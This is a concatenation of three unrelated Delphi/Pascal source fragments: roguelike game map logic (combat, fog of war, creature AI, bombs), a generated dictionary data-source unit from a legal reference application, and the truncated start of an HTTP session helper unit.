if Random(20) < Bullets[i].Enemy.GetParamValue('Agility') then Dmg := Dmg div 2;
si := 1;
if Bullets[i].Enemy.SlotItem[slHead].Item.Count > 0 then si := si - 0.1;
if Bullets[i].Enemy.SlotItem[slLHand].Item.Count > 0 then
if Bullets[i].Enemy.SlotItem[slLHand].Item.Pat.Shield then si := si - 0.2;
Dmg := Round(Dmg * si);
Cr.Life.Dec(Dmg);
if Cr.Life.IsMin then Bullets[i].Owner.AddExp(Cr.Pat.Exp);
if Cr = PC then PC.Enemy := nil;
end;
for j := i to BulletsCnt - 2 do
Bullets[j] := Bullets[j + 1];
BulletsCnt := BulletsCnt - 1;
i := i - 1;
end;
i := i + 1;
end;
j := 0;
for i := 0 to FireCnt - 1 do
begin
FireTime[i] := FireTime[i] - 1;
if FireTime[i] = 0 then Continue;
if i <> j then
begin
Fire[j] := Fire[i];
FireTime[j] := FireTime[i];
end;
j := j + 1;
end;
FireCnt := j;
i := 0;
while (i < Creatures.Count) do
begin
Cr := TCreature(Creatures[i]);
if Cr.AtT > 0 then Cr.AtT := Cr.AtT - 1;
if Cr.AtT = 0 then Cr.Sp := Point(0, 0);
if (Cr.Life.IsMin) and (Cr <> PC) then
begin
bool := True;
for j := 0 to BulletsCnt - 1 do
if (Bullets[j].Owner = Cr) or (Bullets[j].Enemy = Cr) then Bool := False;
if bool = True then
begin
for j := 0 to Cr.ItemsCnt - 1 do
if Cr.Items[j].Count > 0 then
CreateItem(Cr.Items[j].Pat, Cr.Items[j].Count, Cr.Pos.X, Cr.Pos.Y, Cr.Items[j].Suffix, Cr.Items[j].Material);
for T := slHead to slBoots do
if (Cr.SlotItem[T].Item.Count > 0) then
CreateItem(Cr.SlotItem[T].Item.Pat, Cr.SlotItem[T].Item.Count, Cr.Pos.X, Cr.Pos.Y, Cr.Items[j].Suffix, Cr.Items[j].Material);
for j := 0 to Creatures.Count - 1 do
if TCreature(Creatures[j]).Enemy = Cr then TCreature(Creatures[j]).Enemy := nil;
Cr.Free;
Creatures.Delete(i);
i := i - 1;
end;
end;
i := i + 1;
end;
end;
function TMap.CreateCreature(CrName: string; P: TPoint) : TCreature;
var
CrPat : TCrPat;
begin
Result := nil;
CrPat := TCrPat(GetPattern('CREATURE', CrName));
if CrPat = nil then Exit;
Result := TCreature.Create(CrPat);
Result.SetPosition(P);
Result.MP := Self;
Creatures.Add(Result);
end;
function TMap.GetCreature(A: TPoint) : TCreature;
var
I: Integer;
begin
for I := 0 to Creatures.Count - 1 do
begin
Result := TCreature(Creatures[I]);
if (Result.Pos.X = A.X) and (Result.Pos.Y = A.Y) then Exit;
end;
Result := nil;
end;
procedure TMap.UpdateFog(A: TPoint; R: Integer);
var
i, j: Integer;
Cr : TCreature;
begin
for i := 0 to Creatures.Count - 1 do
begin
Cr := TCreature(Creatures[i]);
Cr.InFog := (Fog[Cr.Pos.X, Cr.Pos.Y] <> 2);
end;
for j := 0 to Height - 1 do
for i := 0 to Width - 1 do
if Fog[i, j] <> 0 then Fog[i, j] := 1;
for j := A.Y - R to A.Y + R do
for i := A.X - R to A.X + R do
begin
if (i < 0) or (j < 0) or (i >= Width) or (j >= Height) then Continue;
if Round(GetDist(A, Point(i, j))) > r then Continue;
LineOfSign(A, Point(i, j), True);
end;
for i := 0 to Creatures.Count - 1 do
begin
Cr := TCreature(Creatures[i]);
if Cr.Team = PC.Team then Continue;
if (Fog[Cr.Pos.X, Cr.Pos.Y] = 2) and (Cr.InFog = True) then
begin
PC.WalkTo.X := -1;
Break;
end;
end;
end;
function TMap.LineOfSign(A, B: TPoint; UpdFog : Boolean) : Boolean;
var
I, E : Integer;
D, P, J, Z: TPoint;
begin
Result := False;
P.X := A.X;
P.Y := A.Y;
D.X := B.X - A.X;
D.Y := B.Y - A.Y;
J.X := 0;
J.Y := 0;
if D.X >= 0 then J.X := 1;
if D.X < 0 then
begin
J.X := -1;
D.X := abs(D.X);
end;
if D.Y >= 0 then J.Y := 1;
if D.Y < 0 then
begin
J.Y := -1;
D.Y := abs(D.Y);
end;
Z.X := D.X * 2;
Z.Y := D.Y * 2;
if D.X > D.Y then
begin
E := Z.Y - D.X;
for i := 0 to D.X do
begin
if UpdFog then Fog[P.X, P.Y] := 2;
if Objects.Obj[p.x, p.y] <> nil then
if Objects.Obj[p.x, p.y].BlockLook then Exit;
if E >= 0 then
begin
E := E - Z.X;
p.y := p.y + J.Y;
end;
E := E + Z.Y;
p.x := p.x + J.X;
end;
end else
begin
E := Z.X - D.Y;
for i := 0 to D.Y do
begin
if UpdFog then Fog[p.x, p.y] := 2;
if Objects.Obj[p.x, p.y] <> nil then
if Objects.Obj[p.x, p.y].BlockLook then Exit;
if E >= 0 then
begin
E := E - Z.Y;
P.X := P.X + J.X;
end;
E := E + Z.X;
P.Y := P.Y + J.Y;
end;
end;
Result := True;
end;
procedure TMap.DrawMinimap(x, y : Integer);
var
I, J, C: Integer;
Cr : TCreature;
const
S = 3;
begin
Rect2D(X, Y, Width * S, Height * S, $333333, 255, PR2D_FILL);
for j := 0 to Height - 1 do
for i := 0 to Width - 1 do
begin
if Fog[i, j] = 0 then
begin
Rect2D(x + i * S, y + j * S, S, S, $000000, 255, PR2D_FILL);
Continue;
end;
if (Objects.Obj[i, j] <> nil) then
Rect2D(x + i * S, y + j * S, S, S, Objects.Obj[i, j].Pat.Color, 255, PR2D_FILL);
end;
for i := 0 to Creatures.Count - 1 do
begin
Cr := TCreature(Creatures[i]);
if Cr.Life.IsMin then Continue;
if (Fog[Cr.Pos.X, Cr.Pos.Y] <> 2) then Continue;
case Cr.Team of
0: C := $FFFFFF;
else C := $FF0000;
end;
Circ2D(X + Cr.Pos.X * S + 1 , Y + Cr.Pos.Y * S + 1, S, C, 255, 32, PR2D_FILL);
end;
Rect2D(X, Y, Width * S, Height * S, $AAAAAA, 255);
end;
procedure TMap.CreateItem(ItemPat: TItemPat; Count, tx, ty: Integer; Suffix, Material: string);
var
I: Integer;
begin
if ItemPat.CanGroup then
for i := 0 to ItemsCnt - 1 do
if (Items[i].Pos.X = TX) and (Items[i].Pos.Y = TY) and (Items[i].Pat = ItemPat) then
begin
Items[i].Count := Items[i].Count + Count;
Exit;
end;
ItemsCnt := ItemsCnt + 1; {I}
SetLength(Items, ItemsCnt);
Items[ItemsCnt - 1].Pat := ItemPat;
Items[ItemsCnt - 1].Count := Count;
Items[ItemsCnt - 1].Pos.X := tx;
Items[ItemsCnt - 1].Pos.Y := ty;
Items[ItemsCnt - 1].Left := Rand(0, 16);
Items[ItemsCnt - 1].Top := Rand(-ITEM_AMP, ITEM_AMP);
Items[ItemsCnt - 1].Dir := (Rand(0, 1) = 0);
Items[ItemsCnt - 1].Suffix := Suffix;
Items[ItemsCnt - 1].Material := Material;
end;
function TMap.UseItemsOnTile(ItemPat: TItemPat; Count: Integer; Suffix, Material: string; T: TPoint): Boolean;
var
B: Boolean;
I: Integer;
Cr: TCreature;
begin
Result := False;
if (T.X < 0) or (T.Y < 0) or (T.X >= Width) or (T.Y >= Height) then Exit;
if Objects.Obj[T.X, T.Y] <> nil then
begin
B := False;
if (Objects.Obj[T.X, T.Y].Pat.Name = 'DOOR') and (Objects.Obj[T.X, T.Y].FrameN = 1) then B := True;
if Objects.Obj[T.X, T.Y].Pat.Container then
begin
if (Objects.Obj[T.X, T.Y].Pat.Name = 'CHEST') and (Objects.Obj[T.X, T.Y].FrameN = 0) then Exit;
if Objects.Obj[T.X, T.Y].CreateItem(Drag.Item.Pat, Drag.Count, Drag.Suffix, Drag.Material) then
begin
Result := True;
Exit;
end;
end;
if not B then Exit;
end;
for i := 0 to Creatures.Count - 1 do
begin
Cr := TCreature(Creatures[i]);
if Cr = PC then Continue;
if (T.X = Cr.Pos.X) and (T.Y = Cr.Pos.Y) then Exit;
end;
// Положить предмет на пол
CreateItem(ItemPat, Count, T.X, T.Y, Suffix, Material);
Result := True;
end;
procedure TMap.MoveCreatures;
var
i, j, d, x, y : Integer;
Cr, Cr2, e : TCreature;
Updt : Boolean;
begin
for i := 0 to Creatures.Count - 1 do
begin
Cr := TCreature(Creatures[i]);
if (Cr = PC) then Continue;
if Cr.Life.IsMin then Continue;
if Cr.HasEffect('Заморозка') then Continue;
{ if (Cr.SlotItem[slRHand].Item.Count > 0) and (Cr.SlotItem[slLHand].Item.Count = 0) then
if Cr.SlotItem[slRHand].Item.Pat.Bow then
begin
Cr.CreateItem(Cr.SlotItem[slRHand].Item.Pat, 1);
Cr.SlotItem[slRHand].Item.Count := 0;
end; }
e := Cr.Enemy;
if Cr.Enemy = nil then
for j := 0 to Creatures.Count - 1 do
begin
if i = j then Continue;
Cr2 := TCreature(Creatures[j]);
if Cr.Team = Cr2.Team then Continue;
if GetDist(Cr.Pos, Cr2.Pos) > 8 then Continue;
if LineOfSign(Cr.Pos, Cr2.Pos, False) = True then Cr.Enemy := Cr2;
if Cr.Enemy <> nil then Break;
end;
if Cr.Enemy <> nil then
begin
CreateWave(Self, Cr.Pos.X, Cr.Pos.Y, Cr.Enemy.Pos.X, Cr.Enemy.Pos.Y, True, True);
d := Wave[Cr.Enemy.Pos.X, Cr.Enemy.Pos.Y];
for j := 0 to Creatures.Count - 1 do
begin
if i = j then Continue;
Cr2 := TCreature(Creatures[j]);
if Cr.Team = Cr2.Team then Continue;
if (Wave[Cr2.Pos.X, Cr2.Pos.Y] > 1) and (Wave[Cr2.Pos.X, Cr2.Pos.Y] < d) then
begin
Cr.Enemy := Cr2;
d := Wave[Cr2.Pos.X, Cr2.Pos.Y];
end;
end;
if d < 2 then Cr.Enemy := nil;
end;
if (Cr.Enemy = nil) and (Fog[Cr.Pos.X, Cr.Pos.Y] = 2) then
begin
CreateWave(Self, Cr.Pos.X, Cr.Pos.Y, -1, 0, True, True);
d := 10;
for j := 0 to Creatures.Count - 1 do
begin
if i = j then Continue;
Cr2 := TCreature(Creatures[j]);
if Cr.Team = Cr2.Team then Continue;
if (Wave[Cr2.Pos.X, Cr2.Pos.Y] > 1) and (Wave[Cr2.Pos.X, Cr2.Pos.Y] < d) then
begin
Cr.Enemy := Cr2;
d := Wave[Cr2.Pos.X, Cr2.Pos.Y];
end;
end;
end;
if (Cr.Team = 0) and (Cr.Enemy = nil) then
begin
Cr.WalkTo.X := -1;
if not((ABS(Cr.Pos.X - PC.Pos.X) < 3) and (ABS(Cr.Pos.Y - PC.Pos.Y) < 3)) then Cr.WalkTo := PC.Pos;//Point(Hero.H.X, Hero.H.Y);
end;
Updt := True;
if (Cr.Enemy <> nil) and (Cr.Team <> 0) then
if not((ABS(Cr.Pos.X - Cr.Enemy.Pos.X) < 2) and (ABS(Cr.Pos.Y - Cr.Enemy.Pos.Y) < 2)) then
if Random(10) = 0 then Updt := False;
if (e = nil) and (Cr.Enemy <> nil) and (Cr.NoAtack = True) then
begin
Cr.NoAtack := False;
Updt := False;
end;
if Updt and (Cr.Pat.Name = 'NECROMANCER') and (Cr.Enemy <> nil) and (Random(5) = 0) then
begin
x := 0;
y := 0;
if ABS(Cr.Pos.X - Cr.Enemy.Pos.X) > ABS(Cr.Pos.Y - Cr.Enemy.Pos.Y) then x := 1 else y := 1;
if (x = 1) and (Cr.Pos.X > Cr.Enemy.Pos.X) then x := -1;
if (y = 1) and (Cr.Pos.Y > Cr.Enemy.Pos.Y) then y := -1;
if Objects.Obj[Cr.Pos.X + x, Cr.Pos.Y + y] = nil then
if (GetCreature(Point(Cr.Pos.X + x, Cr.Pos.Y + y)) = nil) then
begin
Cr2 := Map.CreateCreature('Skelet', Point(Cr.Pos.X + X, Cr.Pos.Y + Y));
Cr2.Team := Cr.Team;
Cr.Enemy := nil;
Updt := False;
end;
end;
if Updt and (Cr.Team <> 0) and (Cr.Enemy <> nil) then
begin
CreateWave(Self, Cr.Pos.X, Cr.Pos.Y, -1, 0, True, True);
for j := 0 to Creatures.Count - 1 do
begin
Cr2 := TCreature(Creatures[j]);
if Cr.Team <> Cr2.Team then Continue;
if Cr2.Enemy <> nil then Continue;
if (Wave[Cr2.Pos.X, Cr2.Pos.Y] > 1) and (Wave[Cr2.Pos.X, Cr2.Pos.Y] < 8) then Cr2.Enemy := Cr.Enemy;
end
end;
if Updt then Cr.Update;
end;
for i := 0 to BulletsCnt - 1 do
begin
Cr := Bullets[i].Owner;
Cr2 := Bullets[i].Enemy;
Bullets[i].CPos := Cr2.Pos;
Bullets[i].Ang := Round(Angle(Cr.Pos.X * 32, Cr.Pos.Y * 32, Cr2.Pos.X * 32, Cr2.Pos.Y * 32));
Bullets[i].Dist := GetDist(Point(Cr.Pos.X * 32, Cr.Pos.Y * 32), Point(Cr2.Pos.X * 32, Cr2.Pos.Y * 32));
end;
end;
procedure TMap.CreateBullet(BulletItemPat : TItemPat; Owner, Enemy : TCreature);
var
i : Integer;
begin
BulletsCnt := BulletsCnt + 1;
SetLength(Bullets, BulletsCnt);
i := BulletsCnt - 1;
Bullets[i].Pat := BulletItemPat;
Bullets[i].Owner := Owner;
Bullets[i].Enemy := Enemy;
Bullets[i].CPos := Enemy.Pos;
Bullets[I].OPos := Point(Owner.Pos.X * 32, Owner.Pos.Y * 32);
Bullets[i].Ang := Round(Angle(Owner.Pos.X * 32, Owner.Pos.Y * 32, Enemy.Pos.X * 32, Enemy.Pos.Y * 32));
Bullets[i].Dist := GetDist(Point(Owner.Pos.X * 32, Owner.Pos.Y * 32), Point(Enemy.Pos.X * 32, Enemy.Pos.Y * 32));
end;
procedure TMap.Explosive(tx, ty : Integer);
var
i, j : Integer;
Cr : TCreature;
begin
for j := ty - 1 to ty + 1 do
for i := tx - 1 to tx + 1 do
begin
if (i < 0) or (j < 0) or (i >= Width) or (j >= Height) then Continue;
{if Objects.Obj[i, j] <> nil then
if Objects.Obj[i, j].Pat.Name = 'WALL' then Continue; }
if Objects.Obj[i, j] <> nil then
begin
Objects.Obj[i, j].Free;
Objects.Obj[i, j] := nil;
end;
Cr := GetCreature(Point(i, j));
if Cr <> nil then
begin
if Cr.HasEffect('Заморозка') then Cr.AddEffect('Заморозка', 1);
Cr.Life.Dec(50);
if Cr.Life.IsMin then if Cr.Team <> PC.Team then PC.AddExp(Cr.Pat.Exp);
end;
FireCnt := FireCnt + 1;
SetLength(Fire, FireCnt);
SetLength(FireTime, FireCnt);
Fire[FireCnt - 1] := Point(i, j);
FireTime[FireCnt - 1] := 10;
end;
PC.WalkTo.X := -1;
PC.Enemy := nil;
end;
procedure TMap.ExplosiveBombs;
var
i, j, k : Integer;
Cr : TCreature;
Obj : TObj;
begin
i := 0;
while i < ItemsCnt do
begin
if Items[i].Pat.Name = 'FBOMB' then
begin
Explosive(Items[i].Pos.X, Items[i].Pos.Y);
for j := i to ItemsCnt - 2 do
Items[j] := Items[j + 1];
ItemsCnt := ItemsCnt - 1;
SetLength(Items, ItemsCnt);
i := i - 1;
end;
i := i + 1;
end;
for i := 0 to Creatures.Count - 1 do
begin
Cr := TCreature(Creatures[i]);
for j := 0 to Cr.ItemsCnt - 1 do
if Cr.Items[j].Count > 0 then
if Cr.Items[j].Pat.Name = 'FBOMB' then
begin
Explosive(Cr.Pos.X, Cr.Pos.Y);
Cr.Items[j].Count := 0;
end
end;
for j := 0 to Height - 1 do
for i := 0 to Width - 1 do
if Objects.Obj[i, j] <> nil then
begin
Obj := Objects.Obj[i, j];
if Obj.Pat.Container = False then Continue;
for k := 0 to Obj.ItemsCnt - 1 do
if Obj.Items[k].Count > 0 then
if Obj.Items[k].Pat.Name = 'FBOMB' then
begin
Explosive(i, j);
Break;
end;
end;
end;
end.
|
{$IfNDef dsCommonDiction_imp}
// Модуль: "w:\garant6x\implementation\Garant\GbaNemesis\CommonDiction\dsCommonDiction.imp.pas"
// Стереотип: "ViewAreaControllerImp"
// Элемент модели: "dsCommonDiction" MUID: (4925449A0296)
// Имя типа: "_dsCommonDiction_"
{$Define dsCommonDiction_imp}
{$If NOT Defined(Admin) AND NOT Defined(Monitorings)}
{$Include w:\garant6x\implementation\Garant\GbaNemesis\Tree\dsSimpleTree.imp.pas}
_dsCommonDiction_ = {abstract} class(_dsSimpleTree_, IdsCommonDiction)
{* Обобщенный словарь }
private
ucc_BaseDocument: IsdsBaseDocument;
ucc_CommonDiction: IsdsCommonDiction;
f_ContextFilterState: InscContextFilterState;
f_Current: INodeBase;
{* текущий язык списка толкований }
protected
function pm_GetDictionKind: TnsDictionKind; virtual; abstract;
function MakeDocInfoForCurrentChanged(const aDoc: IDocument): IdeDocInfo; virtual; abstract;
procedure DictionNotify(const aNotifier: IbsCommonDictionListener);
procedure AfterChangeCurrent; virtual;
procedure ChangeCurrent(const aNode: Il3SimpleNode);
function ForceChangeInCurrentChanged: Boolean; virtual;
function pm_GetContext: Il3CString;
function MakeCurrentIndex(const aTree: Il3SimpleTree): Integer;
{* получить текущий узел. Коллеги, это правильная документация? }
function Get_ContextFilterState: InscContextFilterState;
procedure Set_ContextFilterState(const aValue: InscContextFilterState);
function Get_DictionKind: TnsDictionKind;
procedure DoCurrentChanged(const aNode: Il3SimpleNode); override;
{* сменился текущий. }
{$If NOT Defined(NoVCM)}
procedure FormSetDataChanged; override;
{$IfEnd} // NOT Defined(NoVCM)
procedure ClearFields; override;
{$If NOT Defined(NoVCM)}
procedure InitRefs(const aDS: IvcmFormSetDataSource); override;
{* Инициализирует ссылки на различные представления прецедента }
{$IfEnd} // NOT Defined(NoVCM)
{$If NOT Defined(NoVCM)}
procedure ClearRefs; override;
{* Очищает ссылки на различные представления прецедента }
{$IfEnd} // NOT Defined(NoVCM)
private
property Current: INodeBase
read f_Current
write f_Current;
{* текущий язык списка толкований }
public
property DictionKind: TnsDictionKind
read pm_GetDictionKind;
end;//_dsCommonDiction_
{$Else NOT Defined(Admin) AND NOT Defined(Monitorings)}
{$Include w:\garant6x\implementation\Garant\GbaNemesis\Tree\dsSimpleTree.imp.pas}
_dsCommonDiction_ = _dsSimpleTree_;
{$IfEnd} // NOT Defined(Admin) AND NOT Defined(Monitorings)
{$Else dsCommonDiction_imp}
{$IfNDef dsCommonDiction_imp_impl}
{$Define dsCommonDiction_imp_impl}
{$If NOT Defined(Admin) AND NOT Defined(Monitorings)}
{$Include w:\garant6x\implementation\Garant\GbaNemesis\Tree\dsSimpleTree.imp.pas}
procedure _dsCommonDiction_.DictionNotify(const aNotifier: IbsCommonDictionListener);
//#UC START# *492545420326_4925449A0296_var*
//#UC END# *492545420326_4925449A0296_var*
begin
//#UC START# *492545420326_4925449A0296_impl*
with aNotifier do
begin
Current := ucc_CommonDiction.CurrentNode;
CurrentUpdated;
end;//with l_Listener do
//#UC END# *492545420326_4925449A0296_impl*
end;//_dsCommonDiction_.DictionNotify
procedure _dsCommonDiction_.AfterChangeCurrent;
//#UC START# *492546330316_4925449A0296_var*
//#UC END# *492546330316_4925449A0296_var*
begin
//#UC START# *492546330316_4925449A0296_impl*
ucc_CommonDiction.CurrentNode := Current;
//#UC END# *492546330316_4925449A0296_impl*
end;//_dsCommonDiction_.AfterChangeCurrent
procedure _dsCommonDiction_.ChangeCurrent(const aNode: Il3SimpleNode);
//#UC START# *4925465102FB_4925449A0296_var*
var
l_Node: INodeBase;
//#UC END# *4925465102FB_4925449A0296_var*
begin
//#UC START# *4925465102FB_4925449A0296_impl*
if Supports(aNode, INodeBase, l_Node) then
try
f_Current := nil;
l_Node.GetFrozenNode(f_Current);
finally
l_Node := nil;
end;{try..finally}
//#UC END# *4925465102FB_4925449A0296_impl*
end;//_dsCommonDiction_.ChangeCurrent
function _dsCommonDiction_.ForceChangeInCurrentChanged: Boolean;
//#UC START# *4A9E6599035A_4925449A0296_var*
//#UC END# *4A9E6599035A_4925449A0296_var*
begin
//#UC START# *4A9E6599035A_4925449A0296_impl*
Result := false;
//#UC END# *4A9E6599035A_4925449A0296_impl*
end;//_dsCommonDiction_.ForceChangeInCurrentChanged
function _dsCommonDiction_.pm_GetContext: Il3CString;
//#UC START# *492541AB020E_4925449A0296get_var*
var
l_Data: IdeCommonDiction;
//#UC END# *492541AB020E_4925449A0296get_var*
begin
//#UC START# *492541AB020E_4925449A0296get_impl*
l_Data := ucc_CommonDiction.DeCommonDiction;
if (l_Data <> nil) then
Result := l_Data.Context
else
Result := nil
//#UC END# *492541AB020E_4925449A0296get_impl*
end;//_dsCommonDiction_.pm_GetContext
function _dsCommonDiction_.MakeCurrentIndex(const aTree: Il3SimpleTree): Integer;
{* получить текущий узел. Коллеги, это правильная документация? }
//#UC START# *492541BD01F3_4925449A0296_var*
var
l_Doc : IDocument;
l_Root : INodeBase;
l_EntityBase : IEntityBase;
//#UC END# *492541BD01F3_4925449A0296_var*
begin
//#UC START# *492541BD01F3_4925449A0296_impl*
Result := -1;
if Supports(aTree.RootNode, INodeBase, l_Root) then
try
try
if Assigned(Current) then
begin
Result := l_Root.GetVisibleDelta(Current);
if not aTree.ShowRoot then
Dec(Result);
end//Assigned(Current)
else
begin
l_Doc := ucc_CommonDiction.DeCommonDiction.Doc;
if (l_Doc <> nil) and (l_Doc.GetDocType in [DT_EXPLANATORY, DT_MEDICAL_EXPLANATORY]) and
// Потому что иначе случается такое, что в адаптер подаём список литературы,
// который вообще никакого отношения к словарной статье не имеет.
// - http://mdp.garant.ru/pages/viewpage.action?pageId=607778959
Supports(ucc_CommonDiction.DeCommonDiction.Doc, IEntityBase, l_EntityBase) then
try
Result := l_Root.GetVisibleDeltaByEntity(l_EntityBase);
finally
l_EntityBase := nil;
end;//try..finally
end;
except
on ENotFound do ; // Ничего не нашли, вернем -1
end;//try..finally
finally
l_Root := nil;
end;//try..finally
//#UC END# *492541BD01F3_4925449A0296_impl*
end;//_dsCommonDiction_.MakeCurrentIndex
function _dsCommonDiction_.Get_ContextFilterState: InscContextFilterState;
//#UC START# *52F4E72400C2_4925449A0296get_var*
//#UC END# *52F4E72400C2_4925449A0296get_var*
begin
//#UC START# *52F4E72400C2_4925449A0296get_impl*
Result := f_ContextFilterState;
//#UC END# *52F4E72400C2_4925449A0296get_impl*
end;//_dsCommonDiction_.Get_ContextFilterState
procedure _dsCommonDiction_.Set_ContextFilterState(const aValue: InscContextFilterState);
//#UC START# *52F4E72400C2_4925449A0296set_var*
//#UC END# *52F4E72400C2_4925449A0296set_var*
begin
//#UC START# *52F4E72400C2_4925449A0296set_impl*
f_ContextFilterState := aValue;
//#UC END# *52F4E72400C2_4925449A0296set_impl*
end;//_dsCommonDiction_.Set_ContextFilterState
function _dsCommonDiction_.Get_DictionKind: TnsDictionKind;
//#UC START# *5571E60901BC_4925449A0296get_var*
//#UC END# *5571E60901BC_4925449A0296get_var*
begin
//#UC START# *5571E60901BC_4925449A0296get_impl*
Result := pm_GetDictionKind;
//#UC END# *5571E60901BC_4925449A0296get_impl*
end;//_dsCommonDiction_.Get_DictionKind
procedure _dsCommonDiction_.DoCurrentChanged(const aNode: Il3SimpleNode);
{* сменился текущий. }
//#UC START# *47F0C1BF0314_4925449A0296_var*
var
l_Node : INodeBase;
l_Entity : IEntityBase;
l_Doc : IDocument;
//#UC END# *47F0C1BF0314_4925449A0296_var*
begin
//#UC START# *47F0C1BF0314_4925449A0296_impl*
if Supports(aNode, INodeBase, l_Node) and
((not l_Node.IsSameNode(Current)) or ForceChangeInCurrentChanged)then
try
l_Node.GetEntity(l_Entity);
if Supports(l_Entity, IDocument, l_Doc) then
try
if (ucc_BaseDocument <> nil) then
begin
ChangeCurrent(aNode);
ucc_BaseDocument.ChangeDocument(MakeDocInfoForCurrentChanged(l_Doc));
AfterChangeCurrent;
end;//ucc_BaseDocument <> nil
finally
l_Doc := nil;
end;//try..finally
finally
l_Node := nil;
end;//try..finally
//#UC END# *47F0C1BF0314_4925449A0296_impl*
end;//_dsCommonDiction_.DoCurrentChanged
{$If NOT Defined(NoVCM)}
procedure _dsCommonDiction_.FormSetDataChanged;
//#UC START# *491482DC0216_4925449A0296_var*
procedure lp_NotifyCurrentChanged;
var
l_Index : Integer;
l_Listener : IbsCommonDictionListener;
l_Item : IUnknown;
begin
if (NotifiedObjList <> nil) and (NotifiedObjList.Count > 0) then
for l_Index := 0 to Pred(NotifiedObjList.Count) do
begin
l_Item := NotifiedObjList.Items[l_Index];
if Supports(l_Item, IbsCommonDictionListener, l_Listener) and
(l_Item = l_Listener) then
DictionNotify(l_Listener);
end;//if (NotifiedObjList <> nil)
end;//lp_NotifyCurrentChanged
//#UC END# *491482DC0216_4925449A0296_var*
begin
//#UC START# *491482DC0216_4925449A0296_impl*
inherited;
lp_NotifyCurrentChanged;
//#UC END# *491482DC0216_4925449A0296_impl*
end;//_dsCommonDiction_.FormSetDataChanged
{$IfEnd} // NOT Defined(NoVCM)
procedure _dsCommonDiction_.ClearFields;
begin
f_ContextFilterState := nil;
Current := nil;
inherited;
end;//_dsCommonDiction_.ClearFields
{$If NOT Defined(NoVCM)}
procedure _dsCommonDiction_.InitRefs(const aDS: IvcmFormSetDataSource);
{* Инициализирует ссылки на различные представления прецедента }
begin
inherited;
Supports(aDS, IsdsBaseDocument, ucc_BaseDocument);
Supports(aDS, IsdsCommonDiction, ucc_CommonDiction);
end;//_dsCommonDiction_.InitRefs
{$IfEnd} // NOT Defined(NoVCM)
{$If NOT Defined(NoVCM)}
procedure _dsCommonDiction_.ClearRefs;
{* Очищает ссылки на различные представления прецедента }
begin
inherited;
ucc_BaseDocument := nil;
ucc_CommonDiction := nil;
end;//_dsCommonDiction_.ClearRefs
{$IfEnd} // NOT Defined(NoVCM)
{$IfEnd} // NOT Defined(Admin) AND NOT Defined(Monitorings)
{$EndIf dsCommonDiction_imp_impl}
{$EndIf dsCommonDiction_imp}
|
unit HttpSession;
{\$DEFINE UseIndy}
interface
uses
{$IFDEF MSWINDOWS}
Winapi.Windows,
{$ENDIF}
System.SysUtils,
System.Classes,
System.DateUtils,
{$IFDEF UseIndy}
IdHTTP,
IdCookieManager,
IdSSLOpenSSL,
IdCompressorZLib,
{$ELSE}
System.Net.URLClient,
System.Net.HttpClient,
System.Net.HttpClientComponent,
{$ENDIF}
System.RegularExpressions,
System.Generics.Collections;
type
// 自动释放用
IHttpParams = interface
function Add(AKey, AVal: string): IHttpParams;
function &Set(AKey, AVal: string): IHttpParams;
function Del(AKey: string): IHttpParams;
function GetParams: string;
property Params: string read GetParams;
end;
THttpParams = class(TInterfacedObject, IHttpParams)
private
FItems: TDictionary<string, string>;
function GetParams: string;
public
constructor Create;
destructor Destroy; override;
public
function Add(AKey, AVal: string): IHttpParams;
function &Set(AKey, AVal: string): IHttpParams;
function Del(AKey: string): IHttpParams;
end;
THttpSession = class
private
{$IFDEF UseIndy}
FHttp: TIdHTTP;
FIdSSLHandler: TIdSSLIOHandlerSocketOpenSSL;
FIdCookieManager: TIdCookieManager;
FIdCompressor: TIdCompressorZLib;
{$ELSE}
FHttp: TNetHTTPClient;
FHttpReq: TNetHTTPRequest;
{$ENDIF}
FEncdoing: TEncoding;
// utf8
function Post(const AURL: string; AArgs: array of const;
AParams: string; ATimeout: Integer = -1): string;
function Get(const AUrl: string; AArgs: array of const;
ATimeout: Integer = -1): string;
function GetCookies: string;
public
constructor Create(AEncoding: TEncoding = nil);
destructor Destroy; override;
function GetStream(const AUrl: string; AStream: TStream;
ATimeout: Integer = -1): Boolean;
function GetRegEx(AUrl: string; AArgs: array of const; APattern: string;
ATimeout: Integer = -1): TMatch;
function GetText(AUrl: string; AArgs: array of const;
ATimeout: Integer = -1): string;
// 自动解析版本
function PostJSON<P, R>(const AURL: string; AArgs: array of const;
AParams: P; ATimeout: Integer = -1): R;
function PostJSONEmpty<R>(const AURL: string; AArgs: array of const;
ATimeout: Integer = -1): R;
function PostJSONText(const AURL: string; AArgs: array of const;
AJsonStr: string; ATimeout: Integer = -1): string;
function PostStream(const AUrl: string; AStream: TStream; AOut: TStream;
ATimeout: Integer = -1): Boolean;
function PostText(AUrl: string; AArgs: array of const; AParams: IHttpParams;
ATimeout: Integer = -1): string;
function PostText2(AUrl: string; AParams: TStrings;
ATimeout: Integer = -1): string;
function GetJSON<T>(const AUrl: string; AArgs: array of const;
ATimeout: Integer = -1): T;
function GetXML<T>(const AUrl: string; AArgs: array of const;
ATimeout: Integer = -1; AThread: Boolean = True): T;
function GetImage(AUrl: string; AArgs: array of const; AOut: TStream;
ATimeout: Integer = -1): Boolean;
procedure SetCookies(const ACookies: string);
function Clone: THttpSession;
procedure Disconnect;
public
property Cookies: string read GetCookies write SetCookies;
end;
function DateTimeToUnix(const AValue: TDateTime): Int64; inline;
function GetCurTime10: Int64; inline;
function GetCurTime13: Int64; inline;
implementation
uses
MarshalCommon,
XmlMarshal,
JsonMarshal;
const
USER_AGENT = 'Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1';
MAX_RETRY = 2;
function DateTimeToUnix(const AValue: TDateTime): Int64; inline;
begin
Result := (System.DateUtils.DateTimeToUnix(AValue) - 28800);
end;
function GetCurTime10: Int64;
begin
Result := DateTimeToUnix(Now);
end;
function GetCurTime13: Int64;
begin
Result := GetCurTime10 * 1000 + Random(999);;
end;
{ THttpSession }
function THttpSession.Clone: THttpSession;
begin
Result := THttpSession.Create(FEncdoing);
Result.Cookies := Cookies;
end;
constructor THttpSession.Create(AEncoding: TEncoding);
begin
inherited Create;
FEncdoing := AEncoding;
if FEncdoing = nil then
FEncdoing := TEncoding.UTF8;
{$IFDEF UseIndy}
FHttp := TIdHTTP.Create(nil);
FIdCompressor := TIdCompressorZLib.Create(nil);
FIdSSLHandler := TIdSSLIOHandlerSocketOpenSSL.Create(nil);
FIdCookieManager := TIdCookieManager.Create(nil);
FHttp.Compressor := FIdCompressor;
FHttp.IOHandler := FIdSSLHandler;
